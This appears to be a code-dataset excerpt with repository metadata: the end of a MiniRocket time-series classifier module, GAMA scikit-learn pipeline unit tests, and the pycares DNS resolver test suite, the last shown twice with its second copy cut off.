f'Pipeline(steps={self.steps.copy()})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketRegressor') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL) def load_minirocket(fname, path='./models'): path = Path(path) filename = path/fname with open(f'{filename}.pkl', 'rb') as input: output = pickle.load(input) return output class MiniRocketVotingClassifier(VotingClassifier): def __init__(self, n_estimators=5, weights=None, n_jobs=-1, num_features=10_000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), normalize_features=True, memory=None, verbose=False, scoring=None, class_weight=None, **kwargs): store_attr() try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketVotingClassifier") estimators = [(f'est_{i}', MiniRocketClassifier(num_features=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state, alphas=alphas, normalize_features=normalize_features, memory=memory, verbose=verbose, scoring=scoring, class_weight=class_weight, **kwargs)) for i in range(n_estimators)] super().__init__(estimators, voting='hard', weights=weights, n_jobs=n_jobs, verbose=verbose) def __repr__(self): return f'MiniRocketVotingClassifier(n_estimators={self.n_estimators}, \nsteps={self.estimators[0][1].steps})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketVotingClassifier') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL) def get_minirocket_preds(X, fname, path='./models', model=None): if X.ndim == 1: X = X[np.newaxis][np.newaxis] elif X.ndim == 2: X = X[np.newaxis] if model is None: model = load_minirocket(fname=fname, path=path) return model.predict(X) class MiniRocketVotingRegressor(VotingRegressor): def __init__(self, n_estimators=5, weights=None, n_jobs=-1, num_features=10_000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), normalize_features=True, memory=None, verbose=False, scoring=None, **kwargs): store_attr() try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketVotingRegressor") estimators = [(f'est_{i}', MiniRocketRegressor(num_features=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state, alphas=alphas, normalize_features=normalize_features, memory=memory, verbose=verbose, scoring=scoring, **kwargs)) for i in range(n_estimators)] super().__init__(estimators, weights=weights, n_jobs=n_jobs, verbose=verbose) def __repr__(self): return f'MiniRocketVotingRegressor(n_estimators={self.n_estimators}, \nsteps={self.estimators[0][1].steps})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketVotingRegressor') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL)
true
true
f7f3bd7bc64f47fc392a3eb225a52422ba8d7766
2,583
py
Python
tests/unit/test_scikitlearn.py
learsi1911/GAMA_pygmo_v4
459807db352dd1c9f9c1e0e322f8c1e9b5abbca0
[ "Apache-2.0" ]
49
2018-10-22T06:05:29.000Z
2021-09-07T20:12:36.000Z
tests/unit/test_scikitlearn.py
learsi1911/GAMA_pygmo_v4
459807db352dd1c9f9c1e0e322f8c1e9b5abbca0
[ "Apache-2.0" ]
102
2018-10-02T12:00:47.000Z
2021-02-24T14:35:30.000Z
tests/unit/test_scikitlearn.py
learsi1911/GAMA_pygmo_v4
459807db352dd1c9f9c1e0e322f8c1e9b5abbca0
[ "Apache-2.0" ]
11
2021-06-04T11:56:19.000Z
2022-03-21T20:21:15.000Z
import pandas as pd from sklearn.datasets import load_iris from gama.genetic_programming.compilers.scikitlearn import ( evaluate_individual, compile_individual, evaluate_pipeline, ) from gama.utilities.metrics import Metric, scoring_to_metric def test_evaluate_individual(SS_BNB): import datetime reported_start_time = datetime.datetime.now() def fake_evaluate_pipeline(pipeline, *args, **kwargs): # predictions, scores, estimators, errors return None, (1.0,), [], None evaluation = evaluate_individual( SS_BNB, evaluate_pipeline=fake_evaluate_pipeline, add_length_to_score=True, ) individual = evaluation.individual assert individual == SS_BNB assert hasattr(individual, "fitness") assert individual.fitness.values == (1.0, -2) assert (individual.fitness.start_time - reported_start_time).total_seconds() < 1.0 def test_compile_individual(SS_BNB): from sklearn.naive_bayes import BernoulliNB from sklearn.preprocessing import StandardScaler, MinMaxScaler pipeline = compile_individual(SS_BNB) assert 2 == len(pipeline.steps) assert isinstance(pipeline.steps[0][1], StandardScaler) assert isinstance(pipeline.steps[1][1], BernoulliNB) mm_scale = [("scaler", MinMaxScaler())] extended_pipeline = compile_individual(SS_BNB, preprocessing_steps=mm_scale) assert 3 == len(extended_pipeline.steps) assert isinstance(extended_pipeline.steps[0][1], MinMaxScaler) assert isinstance(extended_pipeline.steps[1][1], StandardScaler) assert isinstance(extended_pipeline.steps[2][1], BernoulliNB) def test_evaluate_pipeline(SS_BNB): x, y = load_iris(return_X_y=True) x, y = pd.DataFrame(x), pd.Series(y) prediction, scores, estimators, errors = evaluate_pipeline( SS_BNB.pipeline, x, y, timeout=60, metrics=scoring_to_metric("accuracy"), ) assert 1 == len(scores) assert errors is None assert 5 == len(estimators) assert prediction.shape == (150,) def test_evaluate_invalid_pipeline(InvalidLinearSVC): x, y = load_iris(return_X_y=True) x, y = pd.DataFrame(x), pd.Series(y) prediction, scores, estimators, error = evaluate_pipeline( InvalidLinearSVC.pipeline, x, y, timeout=60, metrics=scoring_to_metric("accuracy"), ) assert (float("-inf"),) == scores assert str(error).startswith("Unsupported set of arguments:") assert str(error).endswith("penalty='l1', loss='squared_hinge', dual=True") assert estimators is None assert prediction is None
33.986842
86
0.72048
import pandas as pd from sklearn.datasets import load_iris from gama.genetic_programming.compilers.scikitlearn import ( evaluate_individual, compile_individual, evaluate_pipeline, ) from gama.utilities.metrics import Metric, scoring_to_metric def test_evaluate_individual(SS_BNB): import datetime reported_start_time = datetime.datetime.now() def fake_evaluate_pipeline(pipeline, *args, **kwargs): return None, (1.0,), [], None evaluation = evaluate_individual( SS_BNB, evaluate_pipeline=fake_evaluate_pipeline, add_length_to_score=True, ) individual = evaluation.individual assert individual == SS_BNB assert hasattr(individual, "fitness") assert individual.fitness.values == (1.0, -2) assert (individual.fitness.start_time - reported_start_time).total_seconds() < 1.0 def test_compile_individual(SS_BNB): from sklearn.naive_bayes import BernoulliNB from sklearn.preprocessing import StandardScaler, MinMaxScaler pipeline = compile_individual(SS_BNB) assert 2 == len(pipeline.steps) assert isinstance(pipeline.steps[0][1], StandardScaler) assert isinstance(pipeline.steps[1][1], BernoulliNB) mm_scale = [("scaler", MinMaxScaler())] extended_pipeline = compile_individual(SS_BNB, preprocessing_steps=mm_scale) assert 3 == len(extended_pipeline.steps) assert isinstance(extended_pipeline.steps[0][1], MinMaxScaler) assert isinstance(extended_pipeline.steps[1][1], StandardScaler) assert isinstance(extended_pipeline.steps[2][1], BernoulliNB) def test_evaluate_pipeline(SS_BNB): x, y = load_iris(return_X_y=True) x, y = pd.DataFrame(x), pd.Series(y) prediction, scores, estimators, errors = evaluate_pipeline( SS_BNB.pipeline, x, y, timeout=60, metrics=scoring_to_metric("accuracy"), ) assert 1 == len(scores) assert errors is None assert 5 == len(estimators) assert prediction.shape == (150,) def test_evaluate_invalid_pipeline(InvalidLinearSVC): x, y = load_iris(return_X_y=True) x, y = pd.DataFrame(x), pd.Series(y) prediction, scores, estimators, error = evaluate_pipeline( InvalidLinearSVC.pipeline, x, y, timeout=60, metrics=scoring_to_metric("accuracy"), ) assert (float("-inf"),) == scores assert str(error).startswith("Unsupported set of arguments:") assert str(error).endswith("penalty='l1', loss='squared_hinge', dual=True") assert estimators is None assert prediction is None
true
true
f7f3bd9b36edf4516301cb5d5662e2c345e63664
24,728
py
Python
tests/tests.py
ekohl/pycares
f718c3b79b5acfaf1e7e29170ecf3cb83e9956c5
[ "MIT" ]
1
2021-02-28T15:51:38.000Z
2021-02-28T15:51:38.000Z
tests/tests.py
ekohl/pycares
f718c3b79b5acfaf1e7e29170ecf3cb83e9956c5
[ "MIT" ]
null
null
null
tests/tests.py
ekohl/pycares
f718c3b79b5acfaf1e7e29170ecf3cb83e9956c5
[ "MIT" ]
null
null
null
#!/usr/bin/env python import ipaddress import os import select import socket import sys import unittest import pycares FIXTURES_PATH = os.path.realpath(os.path.join(os.path.dirname(__file__), 'fixtures')) class DNSTest(unittest.TestCase): def setUp(self): self.channel = pycares.Channel(timeout=5.0, tries=1) def tearDown(self): self.channel = None def wait(self): while True: read_fds, write_fds = self.channel.getsock() if not read_fds and not write_fds: break timeout = self.channel.timeout() if timeout == 0.0: self.channel.process_fd(pycares.ARES_SOCKET_BAD, pycares.ARES_SOCKET_BAD) continue rlist, wlist, xlist = select.select(read_fds, write_fds, [], timeout) for fd in rlist: self.channel.process_fd(fd, pycares.ARES_SOCKET_BAD) for fd in wlist: self.channel.process_fd(pycares.ARES_SOCKET_BAD, fd) def assertNoError(self, errorno): if errorno == pycares.errno.ARES_ETIMEOUT and (os.environ.get('APPVEYOR') or os.environ.get('TRAVIS')): raise unittest.SkipTest('timeout') self.assertEqual(errorno, None) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_gethostbyaddr(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyaddr('127.0.0.1', cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') @unittest.skipIf(os.environ.get('TRAVIS') is not None, 'skipped on Travis') def test_gethostbyaddr6(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyaddr('::1', cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_gethostbyname(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyname('localhost', socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_gethostbyname_small_timeout(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=0.5, tries=1) self.channel.gethostbyname('localhost', socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_getnameinfo(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.getnameinfo(('127.0.0.1', 80), pycares.ARES_NI_LOOKUPHOST|pycares.ARES_NI_LOOKUPSERVICE, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_nameinfo_result) self.assertIn(self.result.node, ('localhost.localdomain', 'localhost')) self.assertEqual(self.result.service, 'http') @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') @unittest.expectedFailure # c-ares is broken (does not return numeric service if asked) and unconditionally adds zero scope def test_getnameinfo_ipv6(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.getnameinfo(('fd01:dec0:0:1::2020', 80, 0, 0), pycares.ARES_NI_NUMERICHOST|pycares.ARES_NI_NUMERICSERV, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_nameinfo_result) self.assertEqual(self.result.node, 'fd01:dec0:0:1::2020') self.assertEqual(self.result.service, '80') @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') @unittest.expectedFailure # c-ares is broken (does not return numeric service if asked) def test_getnameinfo_ipv6_ll(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.getnameinfo(('fe80::5abd:fee7:4177:60c0', 80, 0, 666), pycares.ARES_NI_NUMERICHOST|pycares.ARES_NI_NUMERICSERV|pycares.ARES_NI_NUMERICSCOPE, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_nameinfo_result) self.assertEqual(self.result.node, 'fe80::5abd:fee7:4177:60c0%666') self.assertEqual(self.result.service, '80') def test_query_a(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) self.assertTrue(r.ttl >= 0) def test_query_a_bad(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('hgf8g2od29hdohid.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) def test_query_a_rotate(self): self.result, self.errorno = None, None self.errorno_count, self.count = 0, 0 def cb(result, errorno): self.result, self.errorno = result, errorno if errorno: self.errorno_count += 1 self.count += 1 self.channel = pycares.Channel(timeout=1.0, tries=1, rotate=True) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.count, 3) self.assertEqual(self.errorno_count, 0) def test_query_aaaa(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('ipv6.google.com', pycares.QUERY_TYPE_AAAA, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_aaaa_result) self.assertNotEqual(r.host, None) self.assertTrue(r.ttl >= 0) def test_query_cname(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('www.amazon.com', pycares.QUERY_TYPE_CNAME, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_cname_result) def test_query_mx(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_MX, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_mx_result) self.assertTrue(r.ttl >= 0) def test_query_ns(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_NS, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_ns_result) def test_query_txt(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertTrue(r.ttl >= 0) def test_query_txt_chunked(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('jobscoutdaily.com', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) # If the chunks are aggregated, only one TXT record should be visible. Three would show if they are not properly merged. # jobscoutdaily.com. 21600 IN TXT "v=spf1 " "include:emailcampaigns.net include:spf.dynect.net include:ccsend.com include:_spf.elasticemail.com ip4:67.200.116.86 ip4:67.200.116.90 ip4:67.200.116.97 ip4:67.200.116.111 ip4:74.199.198.2 " " ~all" self.assertEqual(len(self.result), 1) self.assertEqual(self.result[0].text, 'v=spf1 include:emailcampaigns.net include:spf.dynect.net include:ccsend.com include:_spf.elasticemail.com ip4:67.200.116.86 ip4:67.200.116.90 ip4:67.200.116.97 ip4:67.200.116.111 ip4:74.199.198.2 ~all') def test_query_txt_multiple_chunked(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('s-pulse.co.jp', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) # s-pulse.co.jp. 3600 IN TXT "MS=ms18955624" # s-pulse.co.jp. 3600 IN TXT "amazonses:lOgEcA9DwKFkIusIbgjpvZ2kCxaVADMlaxq9hSO3k4o=" # s-pulse.co.jp. 3600 IN TXT "v=spf1 " "include:spf-bma.mpme.jp ip4:202.248.11.9 ip4:202.248.11.10 " "ip4:218.223.68.132 ip4:218.223.68.77 ip4:210.254.139.121 " "ip4:211.128.73.121 ip4:210.254.139.122 ip4:211.128.73.122 " "ip4:210.254.139.123 ip4:211.128.73.123 ip4:210.254.139.124 " "ip4:211.128.73.124 ip4:210.254.139.13 ip4:211.128.73.13 " "ip4:52.68.199.198 include:spf.betrend.com " "include:spf.protection.outlook.com include:crmstyle.com " "~all" self.assertEqual(len(self.result), 3) def test_query_txt_bytes1(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertIsInstance(r.text, str) # it's ASCII self.assertTrue(r.ttl >= 0) def test_query_txt_bytes2(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('wide.com.es', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertIsInstance(r.text, bytes) self.assertTrue(r.ttl >= 0) def test_query_txt_multiple_chunked_with_non_ascii_content(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('txt-non-ascii.dns-test.hmnid.ru', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) # txt-non-ascii.dns-test.hmnid.ru. IN TXT "ascii string" "some\208misc\208stuff" self.assertEqual(len(self.result), 1) r = self.result[0] self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertIsInstance(r.text, bytes) self.assertTrue(r.ttl >= 0) def test_query_soa(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_SOA, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_soa_result) self.assertTrue(self.result.ttl >= 0) def test_query_srv(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('_xmpp-server._tcp.google.com', pycares.QUERY_TYPE_SRV, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_srv_result) self.assertTrue(r.ttl >= 0) def test_query_naptr(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('sip2sip.info', pycares.QUERY_TYPE_NAPTR, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_naptr_result) self.assertTrue(r.ttl >= 0) def test_query_ptr(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno ip = '8.8.8.8' self.channel.query(ipaddress.ip_address(ip).reverse_pointer, pycares.QUERY_TYPE_PTR, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_ptr_result) self.assertIsInstance(self.result.ttl, int) self.assertGreaterEqual(self.result.ttl, 0) self.assertLessEqual(self.result.ttl, 2**31-1) self.assertEqual(type(self.result.aliases), list) def test_query_ptr_ipv6(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno ip = '2001:4860:4860::8888' self.channel.query(ipaddress.ip_address(ip).reverse_pointer, pycares.QUERY_TYPE_PTR, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_ptr_result) self.assertIsInstance(self.result.ttl, int) self.assertGreaterEqual(self.result.ttl, 0) self.assertLessEqual(self.result.ttl, 2**31-1) self.assertEqual(type(self.result.aliases), list) def test_query_any(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_ANY, cb) self.wait() self.assertNoError(self.errorno) self.assertTrue(len(self.result) > 1) def test_query_cancelled(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_NS, cb) self.channel.cancel() self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECANCELLED) def test_query_bad_type(self): self.assertRaises(ValueError, self.channel.query, 'google.com', 667, lambda *x: None) self.wait() def test_query_timeout(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.servers = ['1.2.3.4'] self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ETIMEOUT) def test_query_onion(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('foo.onion', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) def test_channel_nameservers(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=5.0, tries=1, servers=['8.8.8.8']) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) def test_channel_nameservers2(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.servers = ['8.8.8.8'] self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) def test_channel_nameservers3(self): servers = ['8.8.8.8', '8.8.4.4'] self.channel.servers = servers servers2 = self.channel.servers self.assertEqual(servers, servers2) def test_channel_local_ip(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=5.0, tries=1, servers=['8.8.8.8'], local_ip='127.0.0.1') self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECONNREFUSED) def test_channel_local_ip2(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.servers = ['8.8.8.8'] self.channel.set_local_ip('127.0.0.1') self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECONNREFUSED) self.assertRaises(ValueError, self.channel.set_local_ip, 'an invalid ip') def test_channel_timeout(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=0.5, tries=1) self.channel.gethostbyname('google.com', socket.AF_INET, cb) timeout = self.channel.timeout() self.assertTrue(timeout > 0.0) self.channel.cancel() self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECANCELLED) def test_import_errno(self): from pycares.errno import ARES_SUCCESS self.assertTrue(True) def test_result_not_ascii(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('ayesas.com', pycares.QUERY_TYPE_SOA, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_soa_result) self.assertIsInstance(self.result.hostmaster, bytes) # it's not ASCII self.assertTrue(self.result.ttl >= 0) def test_idna_encoding(self): host = 'españa.icom.museum' self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno # try encoding it as utf-8 self.channel.gethostbyname(host.encode(), socket.AF_INET, cb) self.wait() self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) self.assertEqual(self.result, None) # use it as is (it's IDNA encoded internally) self.channel.gethostbyname(host, socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) def test_idna_encoding_query_a(self): host = 'españa.icom.museum' self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno # try encoding it as utf-8 self.channel.query(host.encode(), pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) self.assertEqual(self.result, None) # use it as is (it's IDNA encoded internally) self.channel.query(host, pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) def test_idna2008_encoding(self): try: import idna except ImportError: raise unittest.SkipTest('idna module not installed') host = 'straße.de' self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyname(host, socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) self.assertTrue('81.169.145.78' in self.result.addresses) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_custom_resolvconf(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(tries=1, timeout=2.0, resolvconf_path=os.path.join(FIXTURES_PATH, 'badresolv.conf')) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ETIMEOUT) def test_errorcode_dict(self): for err in ('ARES_SUCCESS', 'ARES_ENODATA', 'ARES_ECANCELLED'): val = getattr(pycares.errno, err) self.assertEqual(pycares.errno.errorcode[val], err) def test_search(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=5.0, tries=1, domains=['google.com']) self.channel.search('cloud', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) def test_lookup(self): channel = pycares.Channel( lookups="b", timeout=1, tries=1, socket_receive_buffer_size=4096, servers=["8.8.8.8", "8.8.4.4"], tcp_port=53, udp_port=53, rotate=True, ) def on_result(result, errorno): self.result, self.errorno = result, errorno for domain in [ "google.com", "microsoft.com", "apple.com", "amazon.com", "baidu.com", "alipay.com", "tencent.com", ]: self.result, self.errorno = None, None self.channel.query(domain, pycares.QUERY_TYPE_A, on_result) self.wait() self.assertNoError(self.errorno) self.assertTrue(self.result is not None and len(self.result) > 0) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) self.assertTrue(r.type == 'A') self.assertTrue(r.ttl >= 0) def test_strerror_str(self): for key in pycares.errno.errorcode: self.assertTrue(type(pycares.errno.strerror(key)), str) if __name__ == '__main__': unittest.main(verbosity=2)
43.230769
464
0.641014
import ipaddress import os import select import socket import sys import unittest import pycares FIXTURES_PATH = os.path.realpath(os.path.join(os.path.dirname(__file__), 'fixtures')) class DNSTest(unittest.TestCase): def setUp(self): self.channel = pycares.Channel(timeout=5.0, tries=1) def tearDown(self): self.channel = None def wait(self): while True: read_fds, write_fds = self.channel.getsock() if not read_fds and not write_fds: break timeout = self.channel.timeout() if timeout == 0.0: self.channel.process_fd(pycares.ARES_SOCKET_BAD, pycares.ARES_SOCKET_BAD) continue rlist, wlist, xlist = select.select(read_fds, write_fds, [], timeout) for fd in rlist: self.channel.process_fd(fd, pycares.ARES_SOCKET_BAD) for fd in wlist: self.channel.process_fd(pycares.ARES_SOCKET_BAD, fd) def assertNoError(self, errorno): if errorno == pycares.errno.ARES_ETIMEOUT and (os.environ.get('APPVEYOR') or os.environ.get('TRAVIS')): raise unittest.SkipTest('timeout') self.assertEqual(errorno, None) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_gethostbyaddr(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyaddr('127.0.0.1', cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') @unittest.skipIf(os.environ.get('TRAVIS') is not None, 'skipped on Travis') def test_gethostbyaddr6(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyaddr('::1', cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_gethostbyname(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyname('localhost', socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_gethostbyname_small_timeout(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=0.5, tries=1) self.channel.gethostbyname('localhost', socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_getnameinfo(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.getnameinfo(('127.0.0.1', 80), pycares.ARES_NI_LOOKUPHOST|pycares.ARES_NI_LOOKUPSERVICE, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_nameinfo_result) self.assertIn(self.result.node, ('localhost.localdomain', 'localhost')) self.assertEqual(self.result.service, 'http') @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') @unittest.expectedFailure def test_getnameinfo_ipv6(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.getnameinfo(('fd01:dec0:0:1::2020', 80, 0, 0), pycares.ARES_NI_NUMERICHOST|pycares.ARES_NI_NUMERICSERV, cb) self.wait() 